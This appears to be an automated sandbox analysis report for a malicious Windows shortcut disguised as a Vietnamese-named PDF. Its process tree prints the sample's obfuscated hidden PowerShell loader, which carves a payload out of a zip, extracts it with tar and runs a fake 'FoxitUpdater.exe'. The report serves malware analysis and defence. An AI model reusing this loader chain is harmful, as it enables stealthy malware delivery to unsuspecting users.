Analysis

  • max time kernel
    299s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/07/2026, 03:46

General

  • Target
    Tin_buồn_PGĐ_Công_ty.pdf.lnk
  • Size 2KB
  • Sample260715-ebnarady8v
  • SHA256 5b798cf328c17ecd6a2e759c9adc695b068640226f0d4fae049bcb6470d4ae56
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Tin_buồn_PGĐ_Công_ty.pdf.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c PoweRshEll -W h "; [SyStem.IO.File]::OpenReAd($kbonw);($kbonw = (((( lS -Pa $Home -Re -in 'Tin_buo??n_PG?_Co?ng_ty.pdf.zip'))))[0].directoryname+ '\' +'Tin_buo??n_PG?_Co?ng_ty.pdf.zip');$eiij = [SyStem.IO.File]::OpenReAd($kbonw);$uoodl='Writ'+'EAlLb' +'ytEs'; $obbqvvv = NeW-ObjEct byte[] $eiij.Length; $eiij.Read($obbqvvv, 0, $obbqvvv.Length); $eiij.Close();$rslf=975;;;;;;[SyStem.IO.FIle]::$uoodl($Home+'\\aqdk.cp', $obbqvvv[$rslf..(7726592+$rslf-1)]);;tAR -xvf $Home\aqdk.cp -C $Home;Sleep -Seconds 4; powershell $Home\IFIR-7R-I2R8\FoxitUpdater.exe;
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4332
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PoweRshEll -W h "; [SyStem.IO.File]::OpenReAd($kbonw);($kbonw = (((( lS -Pa $Home -Re -in 'Tin_buo??n_PG?_Co?ng_ty.pdf.zip'))))[0].directoryname+ '\' +'Tin_buo??n_PG?_Co?ng_ty.pdf.zip');$eiij = [SyStem.IO.File]::OpenReAd($kbonw);$uoodl='Writ'+'EAlLb' +'ytEs'; $obbqvvv = NeW-ObjEct byte[] $eiij.Length; $eiij.Read($obbqvvv, 0, $obbqvvv.Length); $eiij.Close();$rslf=975;;;;;;[SyStem.IO.FIle]::$uoodl($Home+'\\aqdk.cp', $obbqvvv[$rslf..(7726592+$rslf-1)]);;tAR -xvf $Home\aqdk.cp -C $Home;Sleep -Seconds 4; powershell $Home\IFIR-7R-I2R8\FoxitUpdater.exe;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1916
        • C:\Windows\system32\tar.exe
          "C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\aqdk.cp -C C:\Users\Admin
          4⤵
            PID:5880
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\IFIR-7R-I2R8\FoxitUpdater.exe
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5480

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 120c6abb36026dc3f61f075430a1fd8c7068f9b74542306794e7b6d5d46d18c1
          • MD5 SHA1 SHA512 TLSH

          memory/1916-16-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-23-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-5-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-6-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-7-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-8-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-9-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-10-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-11-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-12-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-13-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-14-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-15-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-0-0x00007FFC2A97F000-0x00007FFC2A980000-memory.dmp

          memory/1916-2-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-20-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-17-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-21-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-22-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-19-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-24-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-25-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-26-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-27-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-28-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-29-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-30-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

          memory/1916-1-0x00000226185F0000-0x0000022618612000-memory.dmp

          memory/1916-36-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp